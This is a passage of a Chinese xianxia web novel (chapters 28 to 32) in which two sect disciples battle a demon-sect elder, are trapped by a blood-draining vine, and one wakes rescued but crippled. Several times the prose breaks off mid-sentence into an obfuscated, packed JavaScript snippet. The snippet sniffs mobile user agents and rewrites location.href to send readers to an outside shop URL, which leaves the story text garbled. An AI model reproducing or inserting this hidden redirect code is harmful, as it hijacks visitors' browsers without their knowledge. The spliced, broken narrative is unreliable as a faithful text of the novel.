“门派之间，立派宗旨不同，修行方式也不同，可以说各有所长。阁下不认同我三青山的修行方式，那是阁下自己的事。有这个功夫，不如多操心一下自己，看看按照魔教的修行之法，几时能飞升成神。这千百年间，魔教似乎也没有什么飞升的传闻吧？不然阁下也不至于在这里跟我费这个口舌。”她不客气地道。 “别的门派的事，阁下还管不着。” 白慕圣听到这话也不生气，只悠悠地道，“虚实相掩映，一阴破三阳。若从丹田起，巨阙若走龙。” 何、李二人一时震惊。 这是紫薇剑法第七式中的口诀。 他是如何得知紫薇剑法的？ 白慕圣看到两人的反应很是高兴。“怎么样，是不是对我说的有兴趣了？”然后露出了一排洁白的牙，“三青山已经是天下修行正统所在，但按照那些功法修行，你们是没有机会的。” “大言不惭。” “我号称百变书生，手里藏书千万，要什么没有？” 何、李二人心里自然是不信的。 “若跟我回圣教，我掌管的万千藏书，任你挑选。如此一来，飞升还不是早晚的事？” “魔教的功法，在下无福消受，您还是另择他人吧。现还请阁下交出解药和木牌，否则，我们就不客气了。” “小美人儿，此言差矣。我所说的，正是你们三青山的功法。” “你们三青山的藏书阁，至今还未修缮吧。” 百年前一战，虽击败魔教，但三青山失去了先人前辈尽数道销身死，藏书阁又被毁，多本典籍已失传，在本门内，并不是什么不可告人的秘密。知道这个又如何？ “疯言疯语，扰乱人心。” “小美人儿，你可别不信。不然我是如何得知紫薇剑法的口诀呢？” 何无盐思绪稍有凝滞。这倒确实是个问题。不得不说她还是有几分好奇的。难道真的像这书生说的那样，他真知晓一些内情？又或许，他手里真的有些东西？不过心底再怎么好奇，面上是不能显露出来的，气势一定要拿出来。 白慕圣在一边喋喋不休：“你想知道？那就跟我回圣教，你想知道什么我都告诉你。” 旁边众人听见了白慕圣和二人的对话是大为惊讶。难道三青山还与魔教有勾连？听起来，这白慕圣对三青山上的情况，比他们了解得还深。而这何无盐，不知和白慕圣到底是什么关系。 经过这半天的事情，众人心态已经与以往不同了。众人以前又从未与三青山之人有过来往，即使何、李二人宣称自己是从三青山而来，可是又有什么凭证呢？ “休要胡说！”为了阻止白慕圣又说出一些奇怪的话，何无盐立刻动起手来。“星中师弟，我们一起上！” 何、李二人交换了眼神，行动起来颇有默契。李星中擅速不善力，逼迫白慕圣接招，封住他的去路；何无盐以力见长，和李星中形成夹击之势，给白慕圣施加压力，不断消耗他。两人力速合一，堪称天下无敌。 何无盐感到丹田之处越来越热，催使灵剑越来越顺手，和李星中配合也越来越默契。她信心大增。此番一定要拿下这贼人，逼他把事情全部都交代了。 “咳咳。”几番较量下来，白慕圣被搞得略微有些狼狈，险些挂了彩。 尽管有青篱藤护体，但白慕圣反而受到了此物的掣肘。他本来只用以佛说放大自身威力即可。可是现在他还要同时调动青篱藤。以言御法，一张嘴，两个宝贝，怎么念得过来？他利用此物保护自己的同时，也将攻击威力削弱了。 他念叨得飞快，何无盐只觉得他在“嗡嗡嗡，嗡嗡嗡，……”虽然还有点节奏，内容压根就听不清楚。唐僧念经给孙悟空听也不过如此了。 何无盐猜测青篱藤并不是他的法器。至少目前看来，他还不能自由地掌控青篱藤本体。或者说，要驾驭这个本体所需的法力远远超过他的实力。青篱藤本体根本没有被激活。笨蛋是不是就是他这样的？大战之际，偏偏要用自己不趁手、使不好的宝贝。 不过他是很会给自己找台阶的。只听他又道，“小美人儿，我们好不容易见一次，你怎么忍心这样对我？可不能让这些不相关的人来搅了雅兴。” “姜卫照，拦住李星中。” 下一个瞬间，姜卫照的眼里失去了色彩。只见他一脚刨地，如离了弦的箭，直奔李星中而去。紧接着他一抬手，搬来千钧山土，砸向李星中。 李星中不好对姜卫照出手，只是一味地闪避。尽管他以快著称，但山崩土裂，仍不免有些大块的土石落下。一剑劈开，只是挡了一下，土石由大块变成小块，还是直直地落下来。李星中只能勉强护住自己周身一尺，闪避得好生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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何无盐借机摸到他的脉，看起来，人已经无可再救了。因为此时，毒已经走遍姜卫照全身，混进了姜卫照的血液里，占据了他的意识。 “李星中！” 要救姜卫照，这很困难。当日以三门之力，才能促使安在之稳定下来。况且安在之本人也是清一门的，那是他还残存一丝清醒。现在他们人手不够。 但即使非常困难，何无盐也想试上一试。毒发猛烈，只能寄希望于姜卫照中毒时间尚短，此毒还来不及在他体内扎根。若能将他体内的毒与自身的灵力分开，那么他还有希望找回自我，聚起灵识，再配合他们一起把毒逼出去。否则救回来人也是傻蛋一个。 她翻身至姜卫照头顶，一指轻点他头顶，以自己的灵力为引，想从上至下走气海、汇丹田，帮姜卫照汇聚灵力。 李星中微不可察地叹了口气，随即跟上。 一人从百会穴起，一人从丹田处起。黄色的光芒时起时落，忽大忽小，蓝色的光芒虽微弱，但在姜卫照丹田处稳稳地亮着。 白慕圣一眼就理解了他们的意图。小小后生，竟敢如此轻视他？气上心头正要发作，却突然好奇起来。 这两人究竟能做到什么程度？这方法是不是真的能治好姜卫照？若有可能，哪怕只是万分之一，他就要把这种可能性掐死在萌芽阶段。反正他有的是时间，且让他们试试。 再说姜卫照这样无关痛痒的人，杀了便是了，可是两人却要为了姜卫照消耗灵力，那他就乐于作壁上观，等到两人力竭，再来个一网打尽。 过了半刻，姜卫照双眼的血色微微地淡了一点。 “杀、杀了……”我。 28. 决战 姜卫照说，杀了我。 声音微不可闻，只有面对面的李星中看到了他在说什么。 李星中眉头紧锁。 不多时，何、李二人已是满头大汗，唇无血色。尤其是李星中修行时间稍短，可是为姜卫照支撑起一点灵识空间耗费巨大。他的双手已有微微发麻的迹象。 何无盐这边还在聚精会神。再说虽然只有一点点，但她已摸到姜卫照的灵识。再给她一点时间，希望就在前方。 “大敌当前，还敢分心！” 白慕圣看出了点眉目。发现此法似乎确实可行，而两人此时虚弱，便对着何无盐的后背发起致命一击，逼得她不得不放手，转身回挡。 随着她大喝一声，“撤！”两人皆收手。可是李星中要动时才发现麻感早就从脚底爬了上来。一股反作用力扑到李星中身上，他勉强站稳，气喘吁吁。 何无盐与白慕圣见招拆招。 两人动作极快。四下劈里啪啦的声音响彻山间，犹如鞭炮在眼里、耳里，炸得众人双目流泪不止，双耳嘤嘤作响。更有修行功力尚浅者，双耳已开始流血。 何无盐有一种前所未有的清晰感。或许是因为白慕圣的动作变得非常清晰。她甚至能看到白慕圣手掌的纹路、手上的血管、指甲上的竖纹，看见他的手指是如何一点点弯曲，看见他发力的路线。丹田处的躁动感已经紧紧将她攫住。 “怎么样？再考虑一下，若是你肯随我前去圣教，我就放过姜、李二人，还将解药和木牌都给你，告诉你这块木牌的来历，三青山的藏书也任你看个尽兴。” “不劳阁下费心了！” “既然如此，就不要怪我了！” 何无盐猜到他又要摇铃，立刻上前想阻止他。 可是他双脚一点，果断后撤，还不忘于百忙之中拿出铃铛。 已来不及。 两下铃响。 姜卫照经何、李二人治疗似乎清醒了一些，但听到铃响身体仍然不由自主地动了起来。 “啊！”他长啸一声，“李星中！” 开始发狂，继而死斗。 可是李星中如何下得了手？他持剑相对，眉头紧锁，如临大敌。 突然，一阵声音传来。 从树林中走来一群人，身着玄蓝。“找到了！王师兄！在这里！” 是王众堰和他带领的一干人等。 “就是那把剑！”其中那矮个男子指着李星中手上的剑，“魔教教主李星坠的剑！” 先前在茶馆，这个人就一直盯着李星中的剑。 “剑名玄冥，通体漆黑，长三尺七，宽三寸，剑柄上有轻微螺纹，剑的内侧能看到它的名字！” 原来，矮个男子在洞天福地时一直不说话，是怕自己认错。出了茶馆想来想去，还是将此事告知了王众堰。王众堰大感不妙。 “你怎么不早说？！”他担心李星中与魔教有染，便折返了回来。在洞天福地没看到人，便沿着往西南的方向一路寻找，是以此时才到。 此时李星中已拔出了剑，矮个男子一眼就将其认了出来。 “跟书上写的一模一样，我绝不会认错的！” 李星中一听，抬头看了他一眼。他倒是不知，玄冥剑有这么大的来头。其实剑就是剑，之前不论是谁的剑，此时是他在用，便是他的剑，又有什么稀奇的？ “姜师兄！” 王众堰看到姜卫照的模样，震惊地大喊了一声。再一环视，周围金光、撼树弟子死伤大半。 “李星中，你这个魔教妖孽！拿命来！”竟是将众弟子的伤亡都算到了李星中的头上。 这下李星中处境更糟。 姜卫照完全听从白慕圣的安排，一个劲地攻击李星中，对旁人，完全是不管不顾、不闻不问。于是一边是王众堰等玄冰门人，一边是披头散发、浑身是伤的姜卫照，两方夹击李星中，招招致命。 “早在洞天福地我就看你们不对劲，若不是姜师兄为你们说话，你们早该死在我剑下。”王众堰手中剑光一闪，“没想到姜师兄好心没好报，终究是错信了你们！” “王师兄，你未免也太草率了，仅凭一把剑，就认定我是魔教中人？甚至于，你也不能确认，这把剑是不是魔教教主之剑。” “摆阵！”王众堰根本不听。他此前轻信，以致门中弟子丧命。但现在亲眼所见，再没有任何犹豫。 剩下的玄冰门人迅速结成九人剑阵：“听我号令！道佑玄冰，奥妙玄心，九九归一，我现在就送你归西！” 他站在剑阵之前，通过剑阵集九人之力于一身，由他来决定攻击的方式和方向。 这几个人，若是单论修行，哪怕他们一起上或是高车轮战，皆不如李星中。可是集结起来以阵法相对，威力、速度却增效数十倍不止。 李星中纵然身法再快，此前消耗也颇大，还为姜卫照治疗受了些微伤，现在已是有些疲惫，动作慢了下来。前有狼后有虎，多少是有些招架不住。一个跟头没来得及翻过去，他的肩头就负了伤。 何无盐看在眼里。 “王师兄！这都是误会！”正准备上前，却被白慕圣拦住了去路。“小美人儿，好戏正在上映，你可不能坏了我的雅兴。” “你说，我这安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一秒，以木牌为中心，两股力形成了巨大的气流漩涡，卷起断木、碎石、和低空的流云。来不及躲避的人被吸进去不久就再没了声音。 “何无盐！” 何无盐失去了意识。 李星中眉头紧皱，脚踏玄冥，穿过气流，来到她的身旁。 “醒醒！” 木牌对何无盐形成了巨大的吸引力。木牌抓着她，可是李星中也紧紧抓着她。 四下突然暗了。 两人随即陷入一片黑暗之中。 29. 洞中梦 何无盐恍恍惚惚地，听到有人在跟她说话。 “时日不多了。你得想办法离开这里。” 谁？ 这声音，难道是李姨？她视线模糊。花了很久，才慢慢变得清晰。 一双眼睛犹如玄鸟，眼头下勾，眼尾飞扬，线条此起彼伏，甚是优美。正是那双凤目的主人。额头饱满，鼻梁高挺，皮肤白皙，正侧脸分明。 不是李姨。何无盐第一次看清她的长相。现在看来，她好像还挺正常的。不像前几次梦到她时那般癫狂。 “我偶然掉进这里，被困许久，已是半死梧桐。但你还有希望。” 她吗？ 这里又是哪里？ 放目望去，对面漫山遍野，高山杜鹃正开得夺目。其中大部分是灌木，小部分是乔木，高高低低，相互映衬。 而何无盐，正躺在床上。她起身，才发现床靠着岩壁的一侧。此处有一片草地，其下是蜿蜒的小河。 但不对劲，很不对劲。按理说，满山的杜鹃，里面肯定有虫、有鸟，至少总该有些什么声音，可是这里什么都没有。甚至从她醒来到现在，连风声也没有。难道她来到了世界的末日、时间的尽头？ “我可以帮你出去。” 不知为何，她大喜。 “请前辈赐教。”她听见自己的声音。 “但你要答应我的事，不要忘记了。” “前辈请放心，我说到做到，君子一诺千金。”奇奇怪怪，她答应什么了？怎么自己一点印象也没有？ “嗯，你是个好孩子。我相信你。何不山能有你这样的孩子继承衣钵，应该也是很高兴的。” “你先把这个吃下。”前辈从怀里掏出一个苹果。 但仔细看，好像又不是苹果。比如，红的有些不正常，再比如也太圆了些，个头也挺小。闻起来有点像柚子混葡萄，清香无比，吃起来却没什么味道。虽然有些奇怪，但还算不错。她嘎嘣两口吃完，正准备扔果核。 “不准扔！继续吃！”前辈一声大喝，眼底戾气丛生。 何无盐打心眼里一哆嗦。吃果子哪有吃核的？可是看这样子，若不从了她，兴许疯病又要发作了。打又打不过……人在屋檐下，不得不低头。何无盐只能硬着头皮继续啃。 看着她吃完，前辈很满意地点点头。 然后掌风突至。 前辈从丹田处给了她一掌。 她毫无防备，生生受了。一掌气力之大，伤及五脏六腑。受伤处，伴随着痛感的是酥酥麻麻的痒感。最开始尚能承受，但渐渐地，犹如万蚁啃噬。 在丹田处似乎产生了一个吞噬一切的黑洞。 饿……饿了。 这个黑洞竟然沿着浑身经脉在吸收她的灵力。 紧接着，她的余光瞟到此方天地在崩塌。一开始只是轻微摇晃，她以为是自己太痛所以产生了错觉。可是不一会儿摇晃感越来越强烈。天石燃烧着落下，一刻的功夫，刚才所见的一切都被乱石毁去。 天地竟然都在旋转。刚才还是白昼，可转眼，已被黑夜笼罩；脚下是飞逝的流星，星光连成一片，令她头晕目眩。 倒天为地后，眼前之物皆分崩离析。 前辈保重。 不知道为什么，何无盐脑子里冒出来了这个想法。明明这位前辈才打了她一掌，让她痛不欲生，但她却认为此举并无恶意，还反过来担心这位前辈。 紧接着一股诡异的气息自何无盐丹田升腾，上升到灵识。凡过之处，就引起灼烧刺痛，她的体内被两股力量撕扯着。 万蚁穿心更剧，紧接着而来的是沉重的压力，仿佛背上了五指山，不仅喘不上气，身体也快承受不住而将要爆体。 但她始终睁着眼，紧守着最后一丝神识清明。 她一定可以的！ 转眼跌入旋转的天空之中。 “能不能活，全看你的命了。”一声叹息，那双美目消散在世间。 猛然睁眼。 原来是梦吗？她大口大口喘气。 可梦里的是谁？自己到底答应了她什么？ 一片黑暗。何无盐还在思考。好像跟她相识已久。感觉，感觉有点像李姨，有一种长辈的温暖。所以此前才会在梦中将她和李姨混淆吧。 脸上凉凉的。似有泪水。 怎么还哭了？漂泊在外些许年，险些被赶出师门，她也从来没有哭过，此刻怎会……？有点好笑，又有点莫名其妙了。 这可以讲给何无奇听一下，不过他或许不会理解。说不定李星中明白，他小时候也是无父无母，也不受师门的关注。 ……李星中，对，他人呢？！ “李星中！李星中！”何无盐的声音传开来，却久久不闻回应。 何无盐想抬手，但不能动弹。此刻，她才发现自己被青篱藤死死地缠着，藤上有刺。 看来梦里的疼痛不完全是假的。她嘶嘶地吸着气，又发现空气确实是很稀薄，有窒息之感。梦里的感觉都是依托于现实啊。 那李星中呢？该不会是死了吧。 “李星中！”她又试探地喊了一下。 “别喊了，叫魂呢。”李星中微弱的声音传来。 “你怎么样？” “半死不活。” “还活着怎么不应我。” “现在还活着，用不了多久就死透了。” “发生了什么？白慕圣被解决了？” “他跑了。”李星中把事情大概说了一遍。 “这个老贼！自己脚底抹油，还害人不浅！” 何无盐颇为激动。又有一根刺扎进她的身体，她不免得挣扎了两下。周围的藤悉悉索索的又裹起来，像是有生命一样。 “照这个势头下去，我们不知能不能活到三个月。” “别动。这藤有点像金刚锁，你越挣扎它捆得越紧，扎得越深。”闻言，何无盐老实了不少。 “我们困在这里多久了？” “有十来天了。” “我竟然昏迷了这么久？你怎么样？” 何无盐调动周身灵力，念起明火诀，聚集到口中，缓缓吐出一团温暖的白火，向声音来处飘去。 这些藤似乎是饿虎嗅到了血腥味，更深地钻进了何无盐的身体。何无盐身上疼痛顿时加剧了许多，整个人直冒冷汗，疼得嘶嘶地喘气。 在微弱的火光下，所见之景让何无盐心惊肉跳。李星中大概在左前方五六米的样子，只是被密密的荆棘遮住了大半部分，只露出小部分左半边身子和脸。 他皱着眉，紧闭双眼，眉眼间已覆盖了些许冰霜。在白光的照耀下，缠绕住他的青篱藤似有若无地泛着悠悠的绿。比起初见时的深黑，这些藤蔓好像是新长出来的。那绿色之中，透着一股活力。 “你的功法又反噬了？怎么会这样？” 感受到白光的温暖，他缓慢地睁开眼，“别浪费力气，施法只不过是给青藜藤喂食。” “我试了许多方法，耗了不少力气，但也只是引起青藜藤更猛烈的攻击，法力流失地七七八八了。这里与外界不通，信息传递不出去，外面的消息也递不进来。 “还是省些力气。我们经过洞天福地茶馆，这消息传出去，说不定还能引起师叔他们的注意，折返回来救我们。” 其实何无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯……”找话题，这实在不是她所擅长的，“其实下山后，我发现还有一事，与参悟大道完全不同。” “何事？”他轻轻地问。 “情之一事。若是要活在这世间，参悟此事好像比修行重要多了。” “那若有机会出去，我教你。”声音缥缈，越到后面几个字越是微不可闻。 何无盐开始了激烈的思想斗争。这样她这个师姐岂不是很没面子？可是闻道有先后，术业有专攻，她努力说服自己要谦虚、要虚心求教。 她一咬唇道，“好。” “一言为定。”她几乎听不见这几个字。 在黑暗中，触感越发清晰。身上的疼痛被放大了数倍，愈发难耐。 一股凉意爬上背脊。那些青藜藤不仅通过刺在吸取法力，似乎还在身体里不断地摸索，寻找血管和筋脉的位置，好像把他俩当成一顿大餐，准备细细品尝。 何无盐喘着粗气，进去的少，出来的多。可是，李星中那边却悄无声息，似乎是昏了过去。黑暗中，只有她自己的声音。 她缓缓闭上了眼。难道这次是要听天由命了？ “对了，我给何无奇发过消息，身上还有他给的金罗盘！”虽然不知道这小子能不能及时赶来，但是多少有了点希望。没有回应。 何无奇啊何无奇，你师姐师弟的命全系在你身上了。这次若是得救，别说给你带礼物，以后天天给你上香都行。 30. 吞噬 “啊！！！！！！” 她的心脏突然被紧紧地捏了一把，感觉快要爆炸了一般。有什么东西正慢慢地从她的心中流逝。她疼得满头大汗，气也喘不过来。 “李星中！” 回答她的只有无边的黑暗与沉默。 也许她最担心的事已经发生了。顾不得许多，她又使出明火诀。一团白光向着李星中飘去。白光照亮之处，触目惊心。 他双眼紧闭，脸上已经结了一层冰。同时，他整个人几乎都被青篱藤缠绕，而冰霜又缠上了青篱藤。这意味着他的内伤必定很严重。 借着白光，何无盐看到自己的处境也相当危急。青藜藤已缠绕住她的躯干、四肢，侵入皮肤，似要与身体融为一体。其中大部分明显是新长出来的嫩条，上面竟然还开了芽。这青篱藤此前不知吸了多少人，现在看来是轮到他俩了。 这青篱藤实在魔性十足。也许吸完了他俩，久久功成，立刻变为活蹦乱跳的藤树精，搞不好还能化为人形。之前白慕圣总是抓着她不放，大概就是为了这个吧？用她的血来养一个妖精。而且这青篱藤的本体，看着也甚是吓人。寻常的藤本植物不可能有这么粗、这么大，还有灵活的触手，真是活久见了。 一阵恶寒。有一枝从她的胸口处穿进去，紧紧包裹着她的心脏。心脏的搏动是需要空间的。而刚才心脏的痛感，就是这枝条进一步缠绕造成的。再细细觉察，竟然还有一枝，极细、极慢，但朝着丹田探去。 丹田处有什么在吸引着它。 她不禁想起梦中的那位前辈。 或许那不是梦，而是真的发生过的事。当时她给的那一掌，或许有什么玄机。丹田处有什么？ 等下，丹田处……那不就是被白慕圣下的青篱藤吗？那玩意儿早就跑进她的丹田了。 看来这情况只是青篱藤本体在寻找它的分身、同性相吸罢了……或许那就是场梦。 她暗自笑自己，竟然把希望寄托于一场梦，连真实和梦境都分不清了。难道真的是没辙了？ 嗵嗵、嗵嗵…… 何无盐从内心戏里回过神来，发现心仍然在急剧地跳动。现在怎么办？李星中还活着吗？ 一定还有什么办法的。她不能坐以待毙。这么想着，把自己手里的东西都数了一遍。百宝袋里，一件望舒羽衣，辅助修行的化元丹和醒神露，一颗石榴石，半斤红薯干，数十本剑诀和功法，然后手边还有一把灵剑。这就是全部了。 愁。 白光熄灭了。 嗵嗵、嗵嗵…… 这心跳。她听了又听，终于确定不只是她的，还有李星中的。虽然十分微弱，可是终归是有声音。 她稍微安了点心。但转念一想，她或许还能活个十天半个月，但是李星中真的撑不了多久了。她要去李星中身边，就算是同年同日死，死了还能进一个坟墓，路上不寂寞。 灵剑来！藤与灵剑相击，发出铮铮的激越之声。她不顾青篱藤的刺痛，驱使灵剑，斩断了两人身上的藤。灵剑中加入的露白恰恰与魔性相克，但老藤只是受到少许的影响，还挂在他俩身上吸血，新藤基本都被斩断了。还好这些藤大部分是新长出来的。 他们“啪”地一下落到地上。何无盐直接摔了个大马趴，整个人七荤八素的。她费了半天劲，摸索到李星中身边。自己可能是完了，藤蔓已经进丹田了……但李星中说不定还能救一救呢？她试图以本草心决为他治疗。 可是他此时被冰霜与藤蔓隔离起来，无法触摸。饭都喂到你嘴边了，你倒是给我吃啊！快吃呀！再不吃来不及了……藤蔓再深入两步，她就一点灵力也无法调动了。到时候，她对自己都束手无策，更不要说李星中。何无盐恨不得直接掰开他的嘴。可是他像是一块千年寒冰，与外界一切都隔绝了。 嘭！嘭！嘭！ 不多时，丹田处有些什么东西微微地炸开，一次强过一次。劲力透过肺腑，咳出血来。她暗道不好，立刻结趺坐。 此时何无盐周身黄色光芒大放，朝云之力自发地运转起来，“灵宝天尊，安慰身形。弟子魂魄，五脏玄冥。……” 但已经无力回天。这几日她睡着，又遭受青篱藤的剧痛，直到此时才惊觉修行的根基竟是摇摇欲坠，几乎是被青篱藤掏空了。往日充实的丹田现如今什么也没有，已然变成了一个黑洞。身体内仅存的朝云之光平等地洒向四周，点亮她和李星中的脸，可是再难向丹田处进一分一毫。 朝辉很快转为亭午，又继而转为残阳，最后日薄西山，终于落下了。光消失了。 绝对的黑暗要吞噬一切。 何无盐感觉自己毫无依凭地漂浮在半空中，全身剧痛。头晕脑胀之中她想，她是被抛掷到这个世上来的。 已被抛掷到这里，她只能顺着丹田这处空洞走。 “天无二日，唯其旷照。紫旭东升，万物西沉。日晖掩映，阴影骤生。群魔乱舞，奔相走告。魔气之始，紫旭向阴。无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482342|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根无基，任尔东西。安之若素，心无旁骛。……”那位前辈的教诲突然在她脑子里炸开。 梦境的最后，这位前辈在消失的最后一刻，似乎是这样说的。 一团魔气凝聚起来。半掩半映之中，出现了一颗红色的种子，很早很早以前，就种在她的丹田内。种子受到方才朝云之力的滋养，沿着她的经脉、向着四肢开始生长，痒痒的、麻麻的。且完全不受控制。 “安之若素，心无旁骛……”她只能不停地重复这一句。 她任由那颗种子在她体内飘荡。不多时，它竟然与青篱藤相接驳，而后魔气大胜，渐渐蔓延开，充斥着她的眼耳鼻舌身意。 她苦笑。没想到，修行这么多年，竟然白白给一颗即将化妖的藤树精做了大餐，简直就是荒唐。谁能想到三青山雅一道观何不山首座下宗门第一女弟子，竟然死得如此凄惨？不过仔细想想，她其实也没给师门丢人，只是奈何白慕胜诡计多端，吃了他的大亏。 然后她又想到，正魔纷争，现在看来是没有任何指望了。难道真的道高一尺，魔高一丈？不过关她什么事？等到魔教真的打上门去，她已凉透了。还是留给活着的人去操心吧。 临到终了，总有走马灯闪过。回想起短暂的一生，修行前随母亲一路逃亡的事已然模糊，之后漫长的修行又千篇一律，她也已忘了。反而记得最清楚的竟然是赵无邪和宁无云给她讲笑话，何无奇闯祸让她收拾烂摊子，还有冷酷无情对她不闻不问的师父，还有下山的后遇到的方方、白芷一干人等后发生的种种。明明比起修行，都是些微不足道的小事……还有陪伴她的李星中。 “我只想见到天下至高武道。” 李星中这样说。 可是要死了，怎么见至高武道？今日是出不去了，她栽在这里是技不如人，认了。可李星中也要随她一起埋葬在这里吗？ 不，李星中必须活着。心随意转，念头一出，四下颤动。魔气沿着藤蔓从她身体里窜出来，经过九曲十八弯，缓缓流向李星中。 “他必须活下来！”这一信念变得清晰。 藤蔓急剧收缩，像心脏般鼓动起来，一次又一次。 “李星中……”她越发坚定。 那颗种子，原本在她的丹田处，却倏忽化形，融解于她体内。下一刻，大堤崩溃，滔滔流水，惊涛骇浪，万里倾泻，直奔而下，冲击她身体的每一处。 “好好活着，李星中。”这是她昏过去前，最后的 31. 得救 何无盐缓缓睁开了眼。 “醒了醒了！”是何无奇。 何无盐舒了一口气。好小子，平日没白罩着你，关键时刻派上用场了。看来，她以后真的要给何无奇天天烧香才行。 昔日下山的师兄弟都围在何无盐身边。耳边又传来何无奇在呼天抢地的声音：“大师姐！你终于醒了！我以为你要不行了，还准备把我自己的风水宝地都让给你，这样投胎也能投个好人家，你不知道，我可是花了重金……” 刚有点感动，这个乌鸦嘴，晦气，真晦气。 “你……”胡说八道些什么东西。 何无盐又准备爬起来，却一点使不上劲，这才惊觉全身上下疼痛异常。 “水！水，水来了！”众人扶着何无盐斜躺，给她喂了些水。 “师兄、师姐，”何无盐想起黑暗里那仿佛梦呓的言语，又想挣扎着起身，“李、李星中呢？” “李星中？”宁无云十分惊讶。 众人陷入一阵沉默，沉默得有些尴尬。 “我们在莲山山崖底下的山洞里把你挖出来的，周围并没有看见其他人。” 莲山？莲山离洞天福地茶馆有千百里，他们怎么会在那？难道是木牌上的太阳眼纹路将他们转移至此？ “不可能，李星中跟我一起被拖入青篱藤的陷阱里，而且又被自身的功法反噬，无力逃生。他的情况远比我糟糕，宁师姐，救救他！” “无盐，我们在洞中并没有看到星中师弟。” 何无盐不信，宁无云便将事情的原委细细说了一遍。是何无奇找到正准备回师门复命的赵无邪一行，说何无盐偷偷跟下山，现在向他发出了急救讯号，情况危急。他们只好来到莲山，跟着何无奇的罗盘到处转悠。 山峦叠嶂，他们跟着罗盘，绕着莲山找了足足三天，却什么也没发现。最后，何无奇突发奇想，说会不会在地下？于是他们掘地千尺，才终于从莲山洞里挖出身受重伤、命悬一线的何无盐。 “大师姐，那个青篱藤耗费了好多宝贝才砍断。我的宝剑都折为两截了！” “只有你的宝剑断了？还有无邪的呢？”宁无云毫不留情地戳穿何无奇的谎言。 “多谢赵师兄、宁师姐、无奇师弟，大恩不知如何回报，容我日后相谢。”何无盐听闻此言，便要起身。 赵无邪赶忙阻止：“无碍，一把剑罢了，比不得人的性命重要。” 宁无云更是把她一把按住：“你快躺下。这话说的，把我们当什么人了？同门修行这么多年，有什么好谢的。大不了他日若是我们被困，你来救我们便是。” 何无盐轻轻点头。 “大师姐，你是怎么活下来的？那藤已经死了，还坚硬如铁，若是还活着，不知道还要费多少功夫，说不定我们几个也要搭在里头。”何无奇嚷嚷道。 “这次遭遇青篱藤之事，涉及魔教，你且细细说来与我们听。”宁无云也是满脸严肃。 于是何无盐就主要是有关百变书生白慕圣和青篱藤的部分说了说。 众人听完，十分惊诧。 “他们自称紫旭教？” “不错。”何无盐看着宁无云，“这有什么不妥吗？” “倒是没什么不妥，只是从前从未听闻。这紫旭教是什么来头？” 没人说话。魔教百年前就销声匿迹至今，他们这一辈成长在平和的年代，都只把魔教当个传说。若不是青篱藤和血色禁果突然现世，他们可能都不会下山，更不要说竟然还能见着个活的魔教长老。 “或许，可以问一下师父师叔他们。”何无盐提议。 此言一出，四下更是安静。 何无盐有点摸不着头脑。这是怎么了？眼神一扫，她突然注意到，刚刚用过茶具是深紫蓝色的。可三青山从未用过这种茶杯。房间的布局和装饰她在山上时也从未见过，以白色为主，门帘以细碎的流花白水晶为主，穿插几颗檀木香珠，桌上、窗边还放了深红色的漆器。 “这是哪里？” “我们在玄冰门。这里也是你赵师兄的家。” 什么？赵师兄出身玄冰门？何无盐自己出身微末，所以相识多年，从未打听过别人家里的情况。她以为修行之人，都是像她这般，六亲缘浅。没想到赵师兄竟然还有家人？ 不过既然出身玄冰门，又为何成为了清一门座下弟子呢？这个念头一晃而过。但何无盐也没有多问。 “无盐，你在此处，若是有什么需要，尽管开口。现在先安心养伤，莫要思虑太多。”赵无邪道。 何无盐回了回神，道，“多谢赵师兄。可是你们真的没有见到过李星中？” 宁无云摇摇头。 何无盐有些急切，“师姐，我确实是和李星中一路走来的，他跟我一起被青篱藤困住。若不是我，他可能早就跟你们汇合了。”是啊，他本来不必跟着她去九里镇寻找方方的线索，更不必跟着她一起对付白慕圣。若不是她，他又怎么被青篱藤缠住，还被自身功法反噬呢？ 这么想着，立刻便要起身。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“好，那我们先出去。何无药师弟会每日定时来把脉，到时药我也会按时送过来。现在你先务必不要忧虑，对身体不好。你的伤很重，一定要好好休养，否则于修行一途，恐再无希望。” “好。多谢师姐。” 三人出房门之后，赵无邪道：“无云，你为什么不告诉她实情？” “她修为全失，经脉尽断，经不起打击了。” “可是大师姐总会知道的。纸包不住火。”何无奇一脸忧虑。 “能瞒一会儿是一会儿。过段时间吧，等她好一些，再把三青山之事告诉她。” 32. 转机 何无盐人是救回来了，但于修行一途，却似再难续前缘。玄冰门请了很多医修过来，都说药石无医。 她悄悄将学过的每一种内功心诀都试了一遍，可是只会引起全身痉挛，加重疼痛不说，经脉中更是酸痒难耐。 